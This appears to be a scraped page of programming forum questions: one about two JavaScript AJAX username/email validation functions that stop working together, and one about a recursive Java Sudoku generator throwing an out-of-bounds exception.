    I have a function that sends a GET request to a php script and checks if the script returned any output. It works great, but when I try to add another function that checks for something similar, both of them fail. What am I missing? function checkUsername(usr,n) { var user = usr.val(), xmlhttp; //var str = document.getElementById('email').value; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //document.getElementById("txtHint").innerHTML=xmlhttp.responseText; if (xmlhttp.responseText != "") { usr.addClass( "ui-state-error" ); updateTips( n ); return false; } else { return true; } } } xmlhttp.open("GET","ajaxValidate.php?type=user&q="+user,true); xmlhttp.send(); } The above works perfectly, when adding this function, none of them work: function checkEmail(em,n) { var email = em.val(), xmlhttp; //var str = document.getElementById('email').value; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //document.getElementById("txtHint").innerHTML=xmlhttp.responseText; if (xmlhttp.responseText != "") { em.addClass( "ui-state-error" ); updateTips( n ); return false; } else { return true; } } } xmlhttp.open("GET","ajaxValidate.php?type=email&q="+email,true); xmlhttp.send(); }

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  • Sudoku Recursion Issue (Java)

    - by SkylineAddict
    I'm having an issue with creating a random Sudoku grid. I tried modifying a recursive pattern that I used to solve the puzzle. The puzzle itself is a two dimensional integer array. This is what I have (By the way, the method doesn't only randomize the first row. I had an idea to randomize the first row, then just decided to do the whole grid): public boolean randomizeFirstRow(int row, int col){ Random rGen = new Random(); if(row == 9){ return true; } else{ boolean res; for(int ndx = rGen.nextInt() + 1; ndx <= 9;){ //Input values into the boxes sGrid[row][col] = ndx; //Then test to see if the value is valid if(this.isRowValid(row, sGrid) && this.isColumnValid(col, sGrid) && this.isQuadrantValid(row, col, sGrid)){ // grid valid, move to the next cell if(col + 1 < 9){ res = randomizeFirstRow(row, col+1); } else{ res = randomizeFirstRow( row+1, 0); } //If the value inputed is valid, restart loop if(res == true){ return true; } } } } //If no value can be put in, set value to 0 to prevent program counting to 9 setGridValue(row, col, 0); //Return to previous method in stack return false; } This results in an ArrayIndexOutOfBoundsException with a ridiculously high or low number (+- 100,000). I've tried to see how far it goes into the method, and it never goes beyond this line: if(this.isRowValid(row, sGrid) && this.isColumnValid(col, sGrid) && this.isQuadrantValid(row, col, sGrid)) I don't understand how the array index goes so high. Can anyone help me out?

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